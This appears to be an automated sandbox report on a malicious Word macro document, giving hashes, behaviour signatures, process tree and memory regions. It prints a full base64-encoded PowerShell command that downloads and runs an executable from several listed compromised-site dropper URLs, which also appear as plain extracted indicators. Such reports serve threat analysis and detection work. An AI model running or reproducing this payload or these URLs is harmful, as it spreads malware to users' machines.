Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240419-en
  • resource tags

    arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
  • submitted
    28-04-2024 00:39

General

  • Target

    03feffbec19e82ebb23d1ff78a4ae29b_JaffaCakes118.doc

  • Size

    185KB

  • MD5

    03feffbec19e82ebb23d1ff78a4ae29b

  • SHA1

    17a160939b47dcedc017d385298abe2c97b65d20

  • SHA256

    2bb2831b682e6824d8f91987866c6c3a2c801e54d2376984c1baf5f62b3c3870

  • SHA512

    a79c90fcbeb8287cbfb84beba07703a2d4f817d7e42d7a78875119fb84fbe0852503eced5a9bf3eff1d025ce1aa1d6ce90d99478a84d81c2df5166250f6317a0

  • SSDEEP

    1536:qI491Y2wcI491Y2w+4tcTv8kvjEuJ0dH5L0c4vs3ti18NmIIP4ovlnoR+a9CXljw:A4tcTvjvTY140818tIP4ovpD1jnrPM

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://loungegangnam.com/4W/dz/

exe.dropper

http://indyoverheaddoors.com/wp-includes/pZ/

exe.dropper

http://geoffoglemusic.com/wp-admin/w/

exe.dropper

http://giral2.com/wp-includes/0e/

exe.dropper

https://www.lunalysis.com/wordpress/syb/

exe.dropper

http://farli.com/cgi-bin/jK/

exe.dropper

http://goldcoastoffice365.com/temp/wQ/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\03feffbec19e82ebb23d1ff78a4ae29b_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2400
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:804
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e JABKAGkAdQA1AHcAawBxAD0AKAAoACcATwBpACcAKwAnAGEAJwApACsAJwA0AHkAJwArACcAbgB1ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAGUAUgBQAHIATwBmAGkAbABlAFwAdAA2AGEAOABDAGsATQBcAHIARwBBAGkAXwBoAF8AXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIAZQBjAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAFUAUgBJAFQAYAB5AGAAcAByAG8AVABPAGAAQwBvAGwAIgAgAD0AIAAoACcAdABsACcAKwAoACcAcwAxADIALAAnACsAJwAgAHQAbABzADEAJwApACsAJwAxACcAKwAoACcALAAnACsAJwAgAHQAJwApACsAJwBsAHMAJwApADsAJABJAHMAZwB1AG4AMgB2ACAAPQAgACgAJwBDACcAKwAnADgAJwArACgAJwBfAGcAMABwAHYAJwArACcAMwAnACkAKQA7ACQAWgB5AGcAcwBnAGsAZQA9ACgAJwBYACcAKwAoACcAaABmACcAKwAnAGcAMwBrACcAKQArACcAcwAnACkAOwAkAEIAbgBzAGwAbgB0AG8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAnACsAJwAwAH0AVAA2AGEAOABjAGsAJwArACcAbQAnACsAJwB7ADAAfQBSAGcAYQBpACcAKwAnAF8AJwArACcAaABfAHsAMAB9ACcAKQAgACAALQBGACAAIABbAEMAaABhAFIAXQA5ADIAKQArACQASQBzAGcAdQBuADIAdgArACgAKAAnAC4AJwArACcAZQB4ACcAKQArACcAZQAnACkAOwAkAFUAbgA2AGsAdQA2AGsAPQAoACgAJwBNAGYAJwArACcAYwAnACkAKwAoACcAaQA0ACcAKwAnAGwAOQAnACkAKQA7ACQASAAxADgAdwBnAGUAdgA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQAnACsAJwBjAHQAJwApACAAbgBlAFQALgBXAEUAQgBjAEwASQBlAG4AVAA7ACQAVAAwAHIAbgBrADYAOQA9ACgAKAAnAGgAdAB0ACcAKwAnAHAAJwApACsAJwA6AC8AJwArACgAJwAvACcAKwAnAGwAbwB1ACcAKQArACcAbgAnACsAJwBnACcAKwAoACcAZQBnACcAKwAnAGEAJwApACsAJwBuACcAKwAnAGcAbgAnACsAJwBhACcAKwAoACcAbQAuAGMAbwBtAC8AJwArACcANAAnACsAJwBXAC8AJwApACsAKAAnAGQAegAvACoAJwArACcAaAB0ACcAKQArACgAJwB0AHAAJwArACcAOgAvACcAKQArACgAJwAvACcAKwAnAGkAJwArACcAbgBkAHkAbwB2AGUAcgBoACcAKQArACcAZQAnACsAKAAnAGEAJwArACcAZABkAG8AbwAnACkAKwAoACcAcgBzAC4AJwArACcAYwBvAG0ALwAnACsAJwB3ACcAKQArACgAJwBwAC0AaQBuAGMAbAAnACsAJwB1ACcAKQArACgAJwBkAGUAcwAvACcAKwAnAHAAWgAnACkAKwAoACcALwAnACsAJwAqAGgAdAB0ACcAKQArACgAJwBwACcAKwAnADoALwAvACcAKQArACcAZwBlACcAKwAoACcAbwAnACsAJwBmAGYAbwBnACcAKQArACgAJwBsAGUAJwArACcAbQAnACsAJwB1AHMAJwArACcAaQBjAC4AYwBvAG0AJwApACsAJwAvAHcAJwArACgAJwBwACcAKwAnAC0AYQAnACkAKwAoACcAZABtACcAKwAnAGkAJwArACcAbgAvACcAKwAnAHcALwAqAGgAdAAnACsAJwB0AHAAOgAvAC8AJwApACsAKAAnAGcAaQByACcAKwAnAGEAbAAyACcAKQArACgAJwAuAGMAJwArACcAbwAnACsAJwBtACcAKwAnAC8AdwBwAC0AaQBuACcAKQArACcAYwAnACsAJwBsACcAKwAoACcAdQBkAGUAcwAvADAAJwArACcAZQAvACcAKQArACgAJwAqAGgAJwArACcAdAB0ACcAKQArACgAJwBwACcAKwAnAHMAOgAnACkAKwAoACcALwAvAHcAJwArACcAdwB3AC4AJwArACcAbAAnACkAKwAnAHUAbgAnACsAJwBhACcAKwAoACcAbAB5AHMAJwArACcAaQAnACsAJwBzAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC8AJwApACsAJwB3ACcAKwAnAG8AJwArACgAJwByACcAKwAnAGQAcAAnACkAKwAoACcAcgAnACsAJwBlAHMAcwAvAHMAeQAnACkAKwAnAGIAJwArACcALwAnACsAKAAnACoAJwArACcAaAB0AHQAJwApACsAKAAnAHAAJwArACcAOgAvACcAKQArACcALwAnACsAKAAnAGYAYQByAGwAJwArACcAaQAuAGMAJwApACsAKAAnAG8AbQAnACsAJwAvACcAKQArACcAYwBnACcAKwAnAGkALQAnACsAKAAnAGIAaQBuAC8AagAnACsAJwBLAC8AJwArACcAKgBoAHQAJwApACsAJwB0ACcAKwAnAHAAOgAnACsAJwAvAC8AJwArACgAJwBnACcAKwAnAG8AbABkAGMAbwAnACkAKwAnAGEAcwAnACsAJwB0AG8AJwArACgAJwBmACcAKwAnAGYAaQAnACkAKwAnAGMAZQAnACsAJwAzACcAKwAnADYAJwArACcANQAnACsAKAAnAC4AJwArACcAYwBvACcAKQArACcAbQAnACsAJwAvACcAKwAnAHQAJwArACcAZQAnACsAJwBtACcAKwAnAHAALwAnACsAJwB3ACcAKwAnAFEAJwArACcALwAnACkALgAiAHMAUABgAEwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVQA0AHcAeABqADEAbwA9ACgAJwBYACcAKwAoACcAawAzAGcAbwAnACsAJwBtAGwAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABIAHkANAAzAGIAXwBtACAAaQBuACAAJABUADAAcgBuAGsANgA5ACkAewB0AHIAeQB7ACQASAAxADgAdwBnAGUAdgAuACIAZABvAGAAVwBuAGwATwBBAEQAYABGAGkATABFACIAKAAkAEgAeQA0ADMAYgBfAG0ALAAgACQAQgBuAHMAbABuAHQAbwApADsAJABOADMAZgBjADIAcwByAD0AKAAnAEoAJwArACcAdQAnACsAKAAnAGEAYgAnACsAJwBoADgAMQAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABCAG4AcwBsAG4AdABvACkALgAiAGwARQBuAGcAYABUAEgAIgAgAC0AZwBlACAAMwAxADUAOAA1ACkAIAB7ACYAKAAnAEkAbgB2AG8AawAnACsAJwBlAC0AJwArACcASQB0AGUAbQAnACkAKAAkAEIAbgBzAGwAbgB0AG8AKQA7ACQATgBwADAAegA2AGcAYwA9ACgAKAAnAFgAJwArACcAbwBrACcAKQArACcAZAAnACsAKAAnAGUAJwArACcAaQBmACcAKQApADsAYgByAGUAYQBrADsAJABNADEAYgBmADYANwBrAD0AKAAnAE0AagAnACsAJwB6ADEAJwArACgAJwBtADIAJwArACcAXwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARQA4ADcAOQBtADkAeAA9ACgAKAAnAEMAZAA2ACcAKwAnAGUAJwApACsAKAAnAGgAYgAnACsAJwBqACcAKQApAA==
      1⤵
      • Process spawned unexpected child process
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2748

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      2bfd93a142b40b4247b4e9f0c0404e1c

      SHA1

      f7e5c5c0e218a2ff4a72d3dddf516b9bc658f20a

      SHA256

      d6659b17df7090acfe27aeb58e7084f8bee7595707cdbf3e8f0702b30538e5e5

      SHA512

      ada43f4e9379434c4452c289cdbd263db5e23d45cbd2618f85957d48edcceb5e1db7cdc96e6b794912a8d87ddd0cc7002930a71f67d6e33b4a319917abd88e69

    • memory/2400-23-0x0000000000540000-0x0000000000640000-memory.dmp

      Filesize

      1024KB

    • memory/2400-7-0x0000000000540000-0x0000000000640000-memory.dmp

      Filesize

      1024KB

    • memory/2400-6-0x0000000000540000-0x0000000000640000-memory.dmp

      Filesize

      1024KB

    • memory/2400-0-0x000000002FA81000-0x000000002FA82000-memory.dmp

      Filesize

      4KB

    • memory/2400-10-0x0000000000540000-0x0000000000640000-memory.dmp

      Filesize

      1024KB

    • memory/2400-27-0x0000000000540000-0x0000000000640000-memory.dmp

      Filesize

      1024KB

    • memory/2400-8-0x0000000000540000-0x0000000000640000-memory.dmp

      Filesize

      1024KB

    • memory/2400-19-0x0000000000540000-0x0000000000640000-memory.dmp

      Filesize

      1024KB

    • memory/2400-17-0x0000000000540000-0x0000000000640000-memory.dmp

      Filesize

      1024KB

    • memory/2400-20-0x0000000000540000-0x0000000000640000-memory.dmp

      Filesize

      1024KB

    • memory/2400-22-0x0000000000540000-0x0000000000640000-memory.dmp

      Filesize

      1024KB

    • memory/2400-21-0x0000000000540000-0x0000000000640000-memory.dmp

      Filesize

      1024KB

    • memory/2400-16-0x0000000000540000-0x0000000000640000-memory.dmp

      Filesize

      1024KB

    • memory/2400-14-0x0000000000540000-0x0000000000640000-memory.dmp

      Filesize

      1024KB

    • memory/2400-13-0x0000000000540000-0x0000000000640000-memory.dmp

      Filesize

      1024KB

    • memory/2400-12-0x0000000000540000-0x0000000000640000-memory.dmp

      Filesize

      1024KB

    • memory/2400-64-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2400-2-0x000000007106D000-0x0000000071078000-memory.dmp

      Filesize

      44KB

    • memory/2400-9-0x0000000000540000-0x0000000000640000-memory.dmp

      Filesize

      1024KB

    • memory/2400-26-0x0000000000540000-0x0000000000640000-memory.dmp

      Filesize

      1024KB

    • memory/2400-25-0x0000000000540000-0x0000000000640000-memory.dmp

      Filesize

      1024KB

    • memory/2400-24-0x0000000000540000-0x0000000000640000-memory.dmp

      Filesize

      1024KB

    • memory/2400-28-0x0000000000540000-0x0000000000640000-memory.dmp

      Filesize

      1024KB

    • memory/2400-31-0x0000000000540000-0x0000000000640000-memory.dmp

      Filesize

      1024KB

    • memory/2400-32-0x0000000000540000-0x0000000000640000-memory.dmp

      Filesize

      1024KB

    • memory/2400-29-0x0000000000540000-0x0000000000640000-memory.dmp

      Filesize

      1024KB

    • memory/2400-30-0x0000000000540000-0x0000000000640000-memory.dmp

      Filesize

      1024KB

    • memory/2400-33-0x0000000000540000-0x0000000000640000-memory.dmp

      Filesize

      1024KB

    • memory/2400-65-0x000000007106D000-0x0000000071078000-memory.dmp

      Filesize

      44KB

    • memory/2400-11-0x0000000000540000-0x0000000000640000-memory.dmp

      Filesize

      1024KB

    • memory/2400-46-0x000000007106D000-0x0000000071078000-memory.dmp

      Filesize

      44KB

    • memory/2400-47-0x0000000000540000-0x0000000000640000-memory.dmp

      Filesize

      1024KB

    • memory/2400-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2748-40-0x0000000001F80000-0x0000000001F88000-memory.dmp

      Filesize

      32KB

    • memory/2748-39-0x000000001B700000-0x000000001B9E2000-memory.dmp

      Filesize

      2.9MB